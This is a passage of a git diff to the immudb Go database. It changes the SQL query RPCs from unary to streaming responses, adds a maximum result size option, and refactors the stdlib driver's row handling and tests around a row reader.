[]*schema.NamedParam) (*schema.SQLQueryResult, error) { +func (db *closedDB) SQLQueryAll(ctx context.Context, tx *sql.SQLTx, req *schema.SQLQueryRequest) ([]*sql.Row, error) { return nil, store.ErrAlreadyClosed } -func (db *closedDB) SQLQueryRowReader(ctx context.Context, tx *sql.SQLTx, stmt sql.DataSource, params map[string]interface{}) (sql.RowReader, error) { +func (db *closedDB) SQLQueryPrepared(ctx context.Context, tx *sql.SQLTx, stmt sql.DataSource, params map[string]interface{}) (sql.RowReader, error) { return nil, store.ErrAlreadyClosed } diff --git a/pkg/server/db_dummy_closed_test.go b/pkg/server/db_dummy_closed_test.go index ab4376fbae..ee788d10d7 100644 --- a/pkg/server/db_dummy_closed_test.go +++ b/pkg/server/db_dummy_closed_test.go @@ -118,10 +118,10 @@ func TestDummyClosedDatabase(t *testing.T) { _, err = cdb.SQLQuery(context.Background(), nil, nil) require.ErrorIs(t, err, store.ErrAlreadyClosed) - _, err = cdb.SQLQueryPrepared(context.Background(), nil, nil, nil) + _, err = cdb.SQLQueryAll(context.Background(), nil, nil) require.ErrorIs(t, err, store.ErrAlreadyClosed) - _, err = cdb.SQLQueryRowReader(context.Background(), nil, nil, nil) + _, err = cdb.SQLQueryPrepared(context.Background(), nil, nil, nil) require.ErrorIs(t, err, store.ErrAlreadyClosed) _, err = cdb.VerifiableSQLGet(context.Background(), nil) diff --git a/pkg/server/db_options.go b/pkg/server/db_options.go index 0ebc1b7661..dd0de66a63 100644 --- a/pkg/server/db_options.go +++ b/pkg/server/db_options.go @@ -234,7 +234,8 @@ func (s *ImmuServer) databaseOptionsFrom(opts *dbOptions) *database.Options { WithSyncAcks(opts.SyncAcks). WithReadTxPoolSize(opts.ReadTxPoolSize). WithRetentionPeriod(time.Millisecond * time.Duration(opts.RetentionPeriod)). - WithTruncationFrequency(time.Millisecond * time.Duration(opts.TruncationFrequency)) + WithTruncationFrequency(time.Millisecond * time.Duration(opts.TruncationFrequency)). + WithMaxResultSize(s.Options.MaxResultSize) } func (opts *dbOptions) storeOptions() *store.Options { diff --git a/pkg/server/options.go b/pkg/server/options.go index 4744eb904c..91018e7115 100644 --- a/pkg/server/options.go +++ b/pkg/server/options.go @@ -24,6 +24,7 @@ import ( "strings" "github.com/codenotary/immudb/embedded/logger" + "github.com/codenotary/immudb/pkg/database" "github.com/codenotary/immudb/pkg/replication" "github.com/codenotary/immudb/pkg/server/sessions" @@ -47,6 +48,7 @@ type Options struct { TLSConfig *tls.Config auth bool MaxRecvMsgSize int + MaxResultSize int NoHistograms bool Detached bool MetricsServer bool @@ -118,6 +120,7 @@ func DefaultOptions() *Options { TLSConfig: nil, auth: true, MaxRecvMsgSize: 1024 * 1024 * 32, // 32Mb + MaxResultSize: database.MaxKeyScanLimit, NoHistograms: false, Detached: false, MetricsServer: true, @@ -225,6 +228,12 @@ func (o *Options) WithMaxRecvMsgSize(maxRecvMsgSize int) *Options { return o } +// WithMaxResultSize sets the maximum number of results returned by any unary rpc method +func (o *Options) WithMaxResultSize(maxResultSize int) *Options { + o.MaxResultSize = maxResultSize + return o +} + // GetAuth gets auth // Deprecated: GetAuth will be removed in future release func (o *Options) GetAuth() bool { diff --git a/pkg/server/servertest/server_mock.go b/pkg/server/servertest/server_mock.go index 3d6a1a1fae..5994298b94 100644 --- a/pkg/server/servertest/server_mock.go +++ b/pkg/server/servertest/server_mock.go @@ -48,8 +48,8 @@ func (s *ServerMock) TxSQLExec(ctx context.Context, request *schema.SQLExecReque return s.Srv.TxSQLExec(ctx, request) } -func (s *ServerMock) TxSQLQuery(ctx context.Context, request *schema.SQLQueryRequest) (*schema.SQLQueryResult, error) { - return s.Srv.TxSQLQuery(ctx, request) +func (s *ServerMock) TxSQLQuery(req *schema.SQLQueryRequest, srv schema.ImmuService_TxSQLQueryServer) error { + return s.Srv.TxSQLQuery(req, srv) } func (s *ServerMock) NewTx(ctx context.Context, request *schema.NewTxRequest) (*schema.NewTxResponse, error) { @@ -367,8 +367,8 @@ func (s *ServerMock) SQLExec(ctx context.Context, req *schema.SQLExecRequest) (* return s.Srv.SQLExec(ctx, req) } -func (s *ServerMock) SQLQuery(ctx context.Context, req *schema.SQLQueryRequest) (*schema.SQLQueryResult, error) { - return s.Srv.SQLQuery(ctx, req) +func (s *ServerMock) SQLQuery(req *schema.SQLQueryRequest, srv schema.ImmuService_SQLQueryServer) error { + return s.Srv.SQLQuery(req, srv) } func (s *ServerMock) ListTables(ctx context.Context, req *empty.Empty) (*schema.SQLQueryResult, error) { diff --git a/pkg/server/sessions/internal/transactions/transactions.go b/pkg/server/sessions/internal/transactions/transactions.go index 3ad49c08e4..f11197fb5b 100644 --- a/pkg/server/sessions/internal/transactions/transactions.go +++ b/pkg/server/sessions/internal/transactions/transactions.go @@ -40,8 +40,9 @@ type Transaction interface { Rollback() error Commit(ctx context.Context) ([]*sql.SQLTx, error) GetSessionID() string + Database() database.DB SQLExec(ctx context.Context, request *schema.SQLExecRequest) error - SQLQuery(ctx context.Context, request *schema.SQLQueryRequest) (*schema.SQLQueryResult, error) + SQLQuery(ctx context.Context, request *schema.SQLQueryRequest) (sql.RowReader, error) } func NewTransaction(ctx context.Context, opts *sql.TxOptions, db database.DB, sessionID string) (*transaction, error) { @@ -125,7 +126,7 @@ func (tx *transaction) SQLExec(ctx context.Context, request *schema.SQLExecReque return err } -func (tx *transaction) SQLQuery(ctx context.Context, request *schema.SQLQueryRequest) (res *schema.SQLQueryResult, err error) { +func (tx *transaction) SQLQuery(ctx context.Context, request *schema.SQLQueryRequest) (sql.RowReader, error) { tx.mutex.Lock() defer tx.mutex.Unlock() @@ -135,3 +136,7 @@ func (tx *transaction) SQLQuery(ctx context.Context, request *schema.SQLQueryReq return tx.db.SQLQuery(ctx, tx.sqlTx, request) } + +func (tx *transaction) Database() database.DB { + return tx.db +} diff --git a/pkg/server/sql.go b/pkg/server/sql.go index 05e86f5e84..91be91233c 100644 --- a/pkg/server/sql.go +++ b/pkg/server/sql.go @@ -109,19 +109,94 @@ func (s *ImmuServer) SQLExec(ctx context.Context, req *schema.SQLExecRequest) (* return res, err } -func (s *ImmuServer) SQLQuery(ctx context.Context, req *schema.SQLQueryRequest) (*schema.SQLQueryResult, error) { - db, err := s.getDBFromCtx(ctx, "SQLQuery") +func (s *ImmuServer) SQLQuery(req *schema.SQLQueryRequest, srv schema.ImmuService_SQLQueryServer) error { + db, err := s.getDBFromCtx(srv.Context(), "SQLQuery") if err != nil { - return nil, err + return err } - tx, err := db.NewSQLTx(ctx, sql.DefaultTxOptions().WithReadOnly(true)) + tx, err := db.NewSQLTx(srv.Context(), sql.DefaultTxOptions().WithReadOnly(true)) if err != nil { - return nil, err + return err } defer tx.Cancel() - return db.SQLQuery(ctx, tx, req) + reader, err := db.SQLQuery(srv.Context(), tx, req) + if err != nil { + return err + } + defer reader.Close() + + // NOTE: setting batchSize to a value strictly less than db.MaxResultSize() can result in more than one call to srv.Send + // for transferring less than db.MaxResultSize() rows. + // As a consequence, clients which are still using the old unary rpc version of SQLQuery will get stuck because + // they don't know how to handle multiple messages. + return s.streamRows(srv.Context(), reader, db.MaxResultSize(), srv.Send) +} + +func (s *ImmuServer) streamRows(ctx context.Context, reader sql.RowReader, batchSize int, send func(*schema.SQLQueryResult) error) error { + descriptors, err := reader.Columns(ctx) + if err != nil { + return err + } + + rows := make([]*schema.Row, batchSize) + + cols := descriptorsToProtoColumns(descriptors) + + columnsSent := false + err = sql.ReadRowsBatch(ctx, reader, batchSize, func(rowBatch []*sql.Row) error { + res := &schema.SQLQueryResult{ + Rows: sqlRowsToProto(descriptors, rowBatch, rows), + } + + // columns are only sent within the first message + if !columnsSent { + res.Columns = cols + columnsSent = true + } + return send(res) + }) + + if err == nil && !columnsSent { + return send(&schema.SQLQueryResult{Columns: cols}) + } + return err +} + +func descriptorsToProtoColumns(descriptors []sql.ColDescriptor) []*schema.Column { + cols := make([]*schema.Column, len(descriptors)) + for i, des := range descriptors { + cols[i] = &schema.Column{Name: des.Selector(), Type: des.Type} + } + return cols +} + +func sqlRowsToProto(descriptors []sql.ColDescriptor, rows []*sql.Row, outRows []*schema.Row) []*schema.Row { + if len(rows) == 0 { + return nil + } + + for i, sqlRow := range rows { + row := &schema.Row{ + Columns: make([]string, len(descriptors)), + Values: make([]*schema.SQLValue, len(descriptors)), + } + + for i := range descriptors { + row.Columns[i] = descriptors[i].Selector() + + v := sqlRow.ValuesByPosition[i] + _, isNull := v.(*sql.NullValue) + if isNull { + row.Values[i] = &schema.SQLValue{Value: &schema.SQLValue_Null{}} + } else { + row.Values[i] = schema.TypedValueToRowValue(v) + } + } + outRows[i] = row + } + return outRows[:len(rows)] } func (s *ImmuServer) ListTables(ctx context.Context, _ *empty.Empty) (*schema.SQLQueryResult, error) { diff --git a/pkg/server/sql_test.go b/pkg/server/sql_test.go index 7ef4e9f282..e45e5ef660 100644 --- a/pkg/server/sql_test.go +++ b/pkg/server/sql_test.go @@ -25,6 +25,7 @@ import ( "github.com/codenotary/immudb/pkg/auth" "github.com/codenotary/immudb/pkg/database" "github.com/stretchr/testify/require" + "google.golang.org/grpc" "google.golang.org/grpc/metadata" "google.golang.org/protobuf/types/known/emptypb" ) @@ -50,7 +51,7 @@ func TestSQLInteraction(t *testing.T) { _, err = s.SQLExec(ctx, nil) require.ErrorIs(t, err, ErrNotLoggedIn) - _, err = s.SQLQuery(ctx, nil) + err = s.SQLQuery(nil, &ImmuService_SQLQueryServerMock{ctx: ctx}) require.ErrorIs(t, err, ErrNotLoggedIn) _, err = s.DescribeTable(ctx, nil) @@ -92,9 +93,16 @@ func TestSQLInteraction(t *testing.T) { require.NoError(t, err) require.Len(t, xres.Txs, 1) - res, err = s.SQLQuery(ctx, &schema.SQLQueryRequest{Sql: "SELECT * FROM table1"}) + var nRows int + err = s.SQLQuery(&schema.SQLQueryRequest{Sql: "SELECT * FROM table1"}, &ImmuService_SQLQueryServerMock{ + ctx: ctx, + sendFunc: func(sr *schema.SQLQueryResult) error { + nRows += len(sr.Rows) + return nil + }, + }) require.NoError(t, err) - require.Len(t, res.Rows, 3) + require.Equal(t, nRows, 3) e, err := s.VerifiableSQLGet(ctx, &schema.VerifiableSQLGetRequest{ SqlGetRequest: &schema.SQLGetRequest{Table: "table1", PkValues: []*schema.SQLValue{{Value: &schema.SQLValue_N{N: 1}}}}, @@ -184,3 +192,17 @@ func TestSQLExecCreateDatabase(t *testing.T) { _, err = s.SQLExec(ctx, &schema.SQLExecRequest{Sql: "CREATE DATABASE db2;"}) require.ErrorContains(t, err, sql.ErrDatabaseAlreadyExists.Error()) } + +type ImmuService_SQLQueryServerMock struct { + grpc.ServerStream + sendFunc func(*schema.SQLQueryResult) error + ctx context.Context +} + +func (s *ImmuService_SQLQueryServerMock) Send(res *schema.SQLQueryResult) error { + return s.sendFunc(res) +} + +func (s *ImmuService_SQLQueryServerMock) Context() context.Context { + return s.ctx +} diff --git a/pkg/server/transaction.go b/pkg/server/transaction.go index a41eaeb574..9e61be0413 100644 --- a/pkg/server/transaction.go +++ b/pkg/server/transaction.go @@ -132,18 +132,24 @@ func (s *ImmuServer) TxSQLExec(ctx context.Context, request *schema.SQLExecReque return new(empty.Empty), res } -func (s *ImmuServer) TxSQLQuery(ctx context.Context, request *schema.SQLQueryRequest) (*schema.SQLQueryResult, error) { - if request == nil { - return nil, ErrIllegalArguments +func (s *ImmuServer) TxSQLQuery(req *schema.SQLQueryRequest, srv schema.ImmuService_TxSQLQueryServer) error { + if req == nil { + return ErrIllegalArguments } if s.Options.GetMaintenance() { - return nil, ErrNotAllowedInMaintenanceMode + return ErrNotAllowedInMaintenanceMode } - tx, err := s.SessManager.GetTransactionFromContext(ctx) + tx, err := s.SessManager.GetTransactionFromContext(srv.Context()) if err != nil { - return nil, err + return err + } + + reader, err := tx.SQLQuery(srv.Context(), req) + if err != nil { + return err } + defer reader.Close() - return tx.SQLQuery(ctx, request) + return s.streamRows(context.Background(), reader, tx.Database().MaxResultSize(), srv.Send) } diff --git a/pkg/server/transaction_test.go b/pkg/server/transaction_test.go index e6f52310c2..693aaccd11 100644 --- a/pkg/server/transaction_test.go +++ b/pkg/server/transaction_test.go @@ -50,9 +50,9 @@ func TestImmuServer_Transaction(t *testing.T) { _, err = s.TxSQLExec(context.Background(), &schema.SQLExecRequest{}) require.ErrorIs(t, err, ErrNotAllowedInMaintenanceMode) - _, err = s.TxSQLQuery(context.Background(), nil) + err = s.TxSQLQuery(nil, nil) require.ErrorIs(t, err, ErrIllegalArguments) - _, err = s.TxSQLQuery(context.Background(), &schema.SQLQueryRequest{}) + err = s.TxSQLQuery(&schema.SQLQueryRequest{}, nil) require.ErrorIs(t, err, ErrNotAllowedInMaintenanceMode) } diff --git a/pkg/stdlib/connection.go b/pkg/stdlib/connection.go index 62ef49ad9b..acb872a026 100644 --- a/pkg/stdlib/connection.go +++ b/pkg/stdlib/connection.go @@ -81,7 +81,6 @@ func (c *Conn) QueryContext(ctx context.Context, query string, argsV []driver.Na if !c.immuClient.IsConnected() { return nil, driver.ErrBadConn } - queryResult := &schema.SQLQueryResult{} vals, err := namedValuesToSqlMap(argsV) if err != nil { @@ -89,19 +88,18 @@ func (c *Conn) QueryContext(ctx context.Context, query string, argsV []driver.Na } if c.tx != nil { - queryResult, err = c.tx.SQLQuery(ctx, query, vals) + reader, err := c.tx.SQLQueryReader(ctx, query, vals) if err != nil { return nil, err } - return &Rows{rows: queryResult.Rows, columns: queryResult.Columns}, nil + return newRows(reader), nil } - queryResult, err = c.immuClient.SQLQuery(ctx, query, vals, true) + reader, err := c.immuClient.SQLQueryReader(ctx, query, vals) if err != nil { return nil, err } - - return &Rows{rows: queryResult.Rows, columns: queryResult.Columns}, nil + return newRows(reader), nil } func (c *Conn) CheckNamedValue(nv *driver.NamedValue) error { diff --git a/pkg/stdlib/connection_test.go b/pkg/stdlib/connection_test.go index bda7a2577b..0f3883e4c2 100644 --- a/pkg/stdlib/connection_test.go +++ b/pkg/stdlib/connection_test.go @@ -159,7 +159,7 @@ func TestConn_QueryContext(t *testing.T) { require.NoError(t, err) defer rows.Close() - dst := make([]driver.Value, 6, 6) + dst := make([]driver.Value, 6) rows.Next(dst) require.Equal(t, int64(1), dst[0]) diff --git a/pkg/stdlib/rows.go b/pkg/stdlib/rows.go index 5910ff96fd..b363ce0f4e 100644 --- a/pkg/stdlib/rows.go +++ b/pkg/stdlib/rows.go @@ -19,7 +19,6 @@ package stdlib import ( "database/sql/driver" "errors" - "fmt" "io" "math" "reflect" @@ -29,12 +28,19 @@ import ( "github.com/codenotary/immudb/embedded/sql" "github.com/codenotary/immudb/pkg/api/schema" + "github.com/codenotary/immudb/pkg/client" ) type Rows struct { - index uint64 - rows []*schema.Row - columns []*schema.Column + reader client.SQLQueryRowReader + columns []client.Column +} + +func newRows(reader client.SQLQueryRowReader) *Rows { + return &Rows{ + reader: reader, + columns: reader.Columns(), + } } func (r *Rows) Columns() []string { @@ -47,81 +53,39 @@ func (r *Rows) Columns() []string { } // ColumnTypeDatabaseTypeName -// IntegerType SQLValueType = "INTEGER" +// +// IntegerType SQLValueType = "INTEGER" // BooleanType SQLValueType = "BOOLEAN" // VarcharType SQLValueType = "VARCHAR" // BLOBType SQLValueType = "BLOB" // TimestampType SQLValueType = "TIMESTAMP" // AnyType SQLValueType = "ANY" func (r *Rows) ColumnTypeDatabaseTypeName(index int) string { - if len(r.rows) <= 0 || len(r.rows[0].Values)-1 < index { + if index >= len(r.columns) { return "" } - op := r.rows[0].Values[index].Value - - switch op.(type) { - case *schema.SQLValue_Null: - { - return "ANY" - } - case *schema.SQLValue_N: - { - return "INTEGER" - } - case *schema.SQLValue_S: - { - return "VARCHAR" - } - case *schema.SQLValue_B: - { - return "BOOLEAN" - } - case *schema.SQLValue_Bs: - { - return "BLOB" - } - case *schema.SQLValue_Ts: - { - return "TIMESTAMP" - } - default: - return "ANY" - } + return r.columns[index].Type } // ColumnTypeLength If length is not limited other than system limits, it should return math.MaxInt64 func (r *Rows) ColumnTypeLength(index int) (int64, bool) { - if len(r.rows) <= 0 || len(r.rows[0].Values)-1 < index { + if index >= len(r.columns) { return 0, false } - op := r.rows[0].Values[index].Value + col := r.columns[index] - switch op.(type) { - case *schema.SQLValue_Null: - { - return 0, false - } - case *schema.SQLValue_N: - { - return 8, false - } - case *schema.SQLValue_S: - { - return math.MaxInt64, true - } - case *schema.SQLValue_B: - { - return 1, false - } - case *schema.SQLValue_Bs: - { - return math.MaxInt64, true - } - case *schema.SQLValue_Ts: - { - return math.MaxInt64, true - } + switch col.Type { + case sql.IntegerType: + return 8, false + case sql.VarcharType: + return math.MaxInt64, true + case sql.BooleanType: + return 1, false + case sql.BLOBType: + return math.MaxInt64, true + case sql.TimestampType: + return math.MaxInt64, true default: return math.MaxInt64, true } @@ -135,37 +99,23 @@ func (r *Rows) ColumnTypePrecisionScale(index int) (precision, scale int64, ok b // ColumnTypeScanType returns the value type that can be used to scan types into. func (r *Rows) ColumnTypeScanType(index int) reflect.Type { - if len(r.rows) <= 0 || len(r.rows[0].Values)-1 < index { + if index >= len(r.columns) { return nil } - op := r.rows[0].Values[index].Value + col := r.columns[index] - switch op.(type) { - case *schema.SQLValue_Null: - { - return reflect.TypeOf(nil) - } - case *schema.SQLValue_N: - { - return reflect.TypeOf(int64(0)) - } - case *schema.SQLValue_S: - { - return reflect.TypeOf("") - } - case *schema.SQLValue_B: - { - return reflect.TypeOf(true) - } - case *schema.SQLValue_Bs: - { - return reflect.TypeOf([]byte{}) - } - case *schema.SQLValue_Ts: - { - return reflect.TypeOf(time.Time{}) - } + switch col.Type { + case sql.IntegerType: + return reflect.TypeOf(int64(0)) + case sql.VarcharType: + return reflect.TypeOf("") + case sql.BooleanType: + return reflect.TypeOf(true) + case sql.BLOBType: + return reflect.TypeOf([]byte{}) + case sql.TimestampType: + return reflect.TypeOf(time.Time{}) default: return reflect.TypeOf("") } @@ -177,19 +127,23 @@ func (r *Rows) Close() error { } func (r *Rows) Next(dest []driver.Value) error { - if r.index >= uint64(len(r.rows)) { + if !r.reader.Next() { return io.EOF } - row := r.rows[r.index] + var row client.Row - for idx, val := range row.Values { - dest[idx] = RenderValue(val.Value) + row, err := r.reader.Read() + if errors.Is(err, sql.ErrNoMoreRows) { + return io.EOF } - r.index++ - - return nil + if err == nil { + for idx, val := range row { + dest[idx] = val + } + } + return err } func namedValuesToSqlMap(argsV []driver.NamedValue) (map[string]interface{}, error) { @@ -225,42 +179,41 @@ func convertToPlainVals(vals map[string]interface{}) map[string]interface{} { if reflect.ValueOf(nv).Kind() == reflect.Ptr && reflect.ValueOf(nv).IsNil() { nv = nil } - t := nv - switch t.(type) { + switch t := nv.(type) { case *uint: - vals[key] = *t.(*uint) + vals[key] = *t case *uint8: - vals[key] = *t.(*uint8) + vals[key] = *t case *uint16: - vals[key] = *t.(*uint16) + vals[key] = *t case *uint32: - vals[key] = *t.(*uint32) + vals[key] = *t case *uint64: - vals[key] = *t.(*uint64) + vals[key] = *t case *int: - vals[key] = *t.(*int) + vals[key] = *t case *int8: - vals[key] = *t.(*int8) + vals[key] = *t case *int16: - vals[key] = *t.(*int16) + vals[key] = *t case *int32: - vals[key] = *t.(*int32) + vals[key] = *t case *int64: - vals[key] = *t.(*int64) + vals[key] = *t case *string: - vals[key] = *t.(*string) + vals[key] = *t case *bool: - vals[key] = *t.(*bool) + vals[key] = *t case *float32: - vals[key] = *t.(*float32) + vals[key] = *t case *float64: - vals[key] = *t.(*float64) + vals[key] = *t case *complex64: - vals[key] = *t.(*complex64) + vals[key] = *t case *complex128: - vals[key] = *t.(*complex128) + vals[key] = *t case *time.Time: - vals[key] = *t.(*time.Time) + vals[key] = *t default: vals[key] = nv } @@ -295,36 +248,6 @@ func callValuerValue(vr driver.Valuer) (v driver.Value, err error) { return vr.Value() } -func RenderValue(op interface{}) interface{} { - switch v := op.(type) { - case *schema.SQLValue_Null: - { - return nil - } - case *schema.SQLValue_N: - { - return v.N - } - case *schema.SQLValue_S: - { - return v.S - } - case *schema.SQLValue_B: - { - return v.B - } - case *schema.SQLValue_Bs: - { - return v.Bs - } - case *schema.SQLValue_Ts: - { - return sql.TimeFromInt64(v.Ts) - } - } - return []byte(fmt.Sprintf("%v", op)) -} - // RowsAffected implements Result for an INSERT or UPDATE operation // which mutates a number of rows. type RowsAffected struct { diff --git a/pkg/stdlib/rows_test.go b/pkg/stdlib/rows_test.go index 6ae1c62802..6634f079bf 100644 --- a/pkg/stdlib/rows_test.go +++ b/pkg/stdlib/rows_test.go @@ -25,22 +25,17 @@ import ( "github.com/codenotary/immudb/embedded/sql" "github.com/codenotary/immudb/pkg/api/schema" + "github.com/codenotary/immudb/pkg/client" "github.com/stretchr/testify/require" ) func TestRows(t *testing.T) { - r := Rows{ - index: 0, - rows: []*schema.Row{{ - Columns: []string{"(defaultdb.emptytable.c1)"}, - Values: []*schema.SQLValue{{Value: nil}}, - }}, - columns: []*schema.Column{ - { - Name: "(defaultdb.emptytable.c1)", - }, - }, - } + rows := []client.Row{nil} + cols := []client.Column{{Name: "(defaultdb.emptytable.c1)"}} + + reader := newMockRowReader(cols, rows) + + r := newRows(reader) ast := r.Columns() require.Equal(t, "c1", ast[0]) @@ -59,92 +54,44 @@ func TestRows(t *testing.T) { func TestRows_ColumnTypeDatabaseTypeName(t *testing.T) { var tests = []struct { - rows Rows + reader client.SQLQueryRowReader name string expected string }{ { - name: "INTEGER", - rows: Rows{ - index: 0, - rows: []*schema.Row{{ - Columns: []string{"c1"}, - Values: []*schema.SQLValue{{Value: &schema.SQLValue_N{N: 1}}}, - }}, - }, + name: "INTEGER", + reader: newMockRowReader([]client.Column{{Name: "(defaultdb.emptytable.c1)", Type: sql.IntegerType}}, []client.Row{{1}}), expected: "INTEGER", }, { - name: "VARCHAR", - rows: Rows{ - index: 0, - rows: []*schema.Row{{ - Columns: []string{"c1"}, - Values: []*schema.SQLValue{{Value: &schema.SQLValue_S{S: "string"}}}, - }}, - }, + name: "VARCHAR", + reader: newMockRowReader([]client.Column{{Name: "(defaultdb.emptytable.c1)", Type: sql.VarcharType}}, []client.Row{{"string"}}), expected: "VARCHAR", }, { - name: "BLOB", - rows: Rows{ - index: 0, - rows: []*schema.Row{{ - Columns: []string{"c1"}, - Values: []*schema.SQLValue{{Value: &schema.SQLValue_Bs{Bs: []byte(`bytes`)}}}, - }}, - }, + name: "BLOB", + reader: newMockRowReader([]client.Column{{Name: "(defaultdb.emptytable.c1)", Type: sql.BLOBType}}, []client.Row{{[]byte("bytes")}}), expected: "BLOB", }, { - name: "BOOLEAN", - rows: Rows{ - index: 0, - rows: []*schema.Row{{ - Columns: []string{"c1"}, - Values: []*schema.SQLValue{{Value: &schema.SQLValue_B{B: true}}}, - }}, - }, + name: "BOOLEAN", + reader: newMockRowReader([]client.Column{{Name: "(defaultdb.emptytable.c1)", Type: sql.BooleanType}}, []client.Row{{true}}), expected: "BOOLEAN", }, { - name: "TIMESTAMP", - rows: Rows{ - index: 0, - rows: []*schema.Row{{ - Columns: []string{"c1"}, - Values: []*schema.SQLValue{{Value: &schema.SQLValue_Ts{Ts: sql.TimeToInt64(time.Now())}}}, - }}, - }, + name: "TIMESTAMP", + reader: newMockRowReader([]client.Column{{Name: "(defaultdb.emptytable.c1)", Type: sql.TimestampType}}, []client.Row{{sql.TimeToInt64(time.Now())}}), expected: "TIMESTAMP", }, { - name: "nil", - rows: Rows{ - index: 0, - rows: []*schema.Row{{ - Columns: []string{"c1"}, - Values: []*schema.SQLValue{{Value: &schema.SQLValue_Null{}}}, - }}, - }, - expected: "ANY", - }, - { - name: "default", - rows: Rows{ - index: 0, - rows: []*schema.Row{{ - Columns: []string{"c1"}, - Values: []*schema.SQLValue{{Value: nil}}, - }}, - }, + name: "default", + reader: newMockRowReader([]client.Column{{Name: "(defaultdb.emptytable.c1)", Type: sql.AnyType}}, []client.Row{{nil}}), expected: "ANY", }, { name: "no rows", - rows: Rows{ - index: 0, - rows: nil, + reader: &mockRowReader{ + rows: nil, }, expected: "", }, @@ -152,7 +99,9 @@ func TestRows_ColumnTypeDatabaseTypeName(t *testing.T) { for i, tt := range tests { t.Run(fmt.Sprintf("rows %d: %s", i, tt.name), func(t *testing.T) { - vt := tt.rows.ColumnTypeDatabaseTypeName(0) + rows := newRows(tt.reader) + + vt := rows.ColumnTypeDatabaseTypeName(0) require.Equal(t, tt.expected, vt) }) } @@ -160,100 +109,51 @@ func TestRows_ColumnTypeDatabaseTypeName(t *testing.T) { func TestRows_ColumnTypeLength(t *testing.T) { var tests = []struct { - rows Rows + reader client.SQLQueryRowReader name string lenght int64 variableLenght bool }{ { - name: "INTEGER", - rows: Rows{ - index: 0, - rows: []*schema.Row{{ - Columns: []string{"c1"}, - Values: []*schema.SQLValue{{Value: &schema.SQLValue_N{N: 1}}}, - }}, - }, + name: "INTEGER", + reader: newMockRowReader([]client.Column{{Name: "(defaultdb.emptytable.c1)", Type: sql.IntegerType}}, []client.Row{{1}}), lenght: 8, variableLenght: false, }, { - name: "VARCHAR", - rows: Rows{ - index: 0, - rows: []*schema.Row{{ - Columns: []string{"c1"}, - Values: []*schema.SQLValue{{Value: &schema.SQLValue_S{S: "string"}}}, - }}, - }, + name: "VARCHAR", + reader: newMockRowReader([]client.Column{{Name: "(defaultdb.emptytable.c1)", Type: sql.TimestampType}}, []client.Row{{"string"}}), lenght: math.MaxInt64, variableLenght: true, }, { - name: "BLOB", - rows: Rows{ - index: 0, - rows: []*schema.Row{{ - Columns: []string{"c1"}, - Values: []*schema.SQLValue{{Value: &schema.SQLValue_Bs{Bs: []byte(`bytes`)}}}, - }}, - }, + name: "BLOB", + reader: newMockRowReader([]client.Column{{Name: "(defaultdb.emptytable.c1)", Type: sql.BLOBType}}, []client.Row{{[]byte("bytes")}}), lenght: math.MaxInt64, variableLenght: true, }, { - name: "BOOLEAN", - rows: Rows{ - index: 0, - rows: []*schema.Row{{ - Columns: []string{"c1"}, - Values: []*schema.SQLValue{{Value: &schema.SQLValue_B{B: true}}}, - }}, - }, + name: "BOOLEAN", + reader: newMockRowReader([]client.Column{{Name: "(defaultdb.emptytable.c1)", Type: sql.BooleanType}}, []client.Row{{true}}), lenght: 1, variableLenght: false, }, { - name: "TIMESTAMP", - rows: Rows{ - index: 0, - rows: []*schema.Row{{ - Columns: []string{"c1"}, - Values: []*schema.SQLValue{{Value: &schema.SQLValue_Ts{Ts: sql.TimeToInt64(time.Now())}}}, - }}, - }, + name: "TIMESTAMP", + reader: newMockRowReader([]client.Column{{Name: "(defaultdb.emptytable.c1)", Type: sql.TimestampType}}, []client.Row{{sql.TimeToInt64(time.Now())}}), lenght: math.MaxInt64, variableLenght: true, }, { - name: "nil", - rows: Rows{ - index: 0, - rows: []*schema.Row{{ - Columns: []string{"c1"}, - Values: []*schema.SQLValue{{Value: &schema.SQLValue_Null{}}}, - }}, - }, - lenght: 0, - variableLenght: false, - }, - { - name: "default", - rows: Rows{ - index: 0, - rows: []*schema.Row{{ - Columns: []string{"c1"}, - Values: []*schema.SQLValue{{Value: nil}}, - }}, - }, + name: "default", + reader: newMockRowReader([]client.Column{{Name: "(defaultdb.emptytable.c1)", Type: sql.AnyType}}, []client.Row{{nil}}), lenght: math.MaxInt64, variableLenght: true, }, { name: "no rows", - rows: Rows{ - index: 0, - rows: nil, + reader: &mockRowReader{ + rows: nil, }, lenght: 0, variableLenght: false, @@ -262,7 +162,9 @@ func TestRows_ColumnTypeLength(t *testing.T) { for i, tt := range tests { t.Run(fmt.Sprintf("rows %d: %s", i, tt.name), func(t *testing.T) { - vl, ok := tt.rows.ColumnTypeLength(0) + rows := newRows(tt.reader) + + vl, ok := rows.ColumnTypeLength(0) require.Equal(t, tt.lenght, vl) require.Equal(t, tt.variableLenght, ok) }) @@ -271,92 +173,44 @@ func TestRows_ColumnTypeLength(t *testing.T) { func TestRows_ColumnTypeScanType(t *testing.T) { var tests = []struct { - rows Rows + reader client.SQLQueryRowReader name string expectedType reflect.Type }{ { - name: "INTEGER", - rows: Rows{ - index: 0, - rows: []*schema.Row{{ - Columns: []string{"c1"}, - Values: []*schema.SQLValue{{Value: &schema.SQLValue_N{N: 1}}}, - }}, - }, + name: "INTEGER", + reader: newMockRowReader([]client.Column{{Name: "(defaultdb.emptytable.c1)", Type: sql.IntegerType}}, []client.Row{{1}}), expectedType: reflect.TypeOf(int64(0)), }, { - name: "VARCHAR", - rows: Rows{ - index: 0, - rows: []*schema.Row{{ - Columns: []string{"c1"}, - Values: []*schema.SQLValue{{Value: &schema.SQLValue_S{S: "string"}}}, - }}, - }, + name: "VARCHAR", + reader: newMockRowReader([]client.Column{{Name: "(defaultdb.emptytable.c1)", Type: sql.VarcharType}}, []client.Row{{"string"}}), expectedType: reflect.TypeOf(""), }, { - name: "BLOB", - rows: Rows{ - index: 0, - rows: []*schema.Row{{ - Columns: []string{"c1"}, - Values: []*schema.SQLValue{{Value: &schema.SQLValue_Bs{Bs: []byte(`bytes`)}}}, - }}, - }, + name: "BLOB", + reader: newMockRowReader([]client.Column{{Name: "(defaultdb.emptytable.c1)", Type: sql.BLOBType}}, []client.Row{{[]byte("bytes")}}), expectedType: reflect.TypeOf([]byte{}), }, { - name: "BOOLEAN", - rows: Rows{ - index: 0, - rows: []*schema.Row{{ - Columns: []string{"c1"}, - Values: []*schema.SQLValue{{Value: &schema.SQLValue_B{B: true}}}, - }}, - }, + name: "BOOLEAN", + reader: newMockRowReader([]client.Column{{Name: "(defaultdb.emptytable.c1)", Type: sql.BooleanType}}, []client.Row{{true}}), expectedType: reflect.TypeOf(true), }, { - name: "TIMESTAMP", - rows: Rows{ - index: 0, - rows: 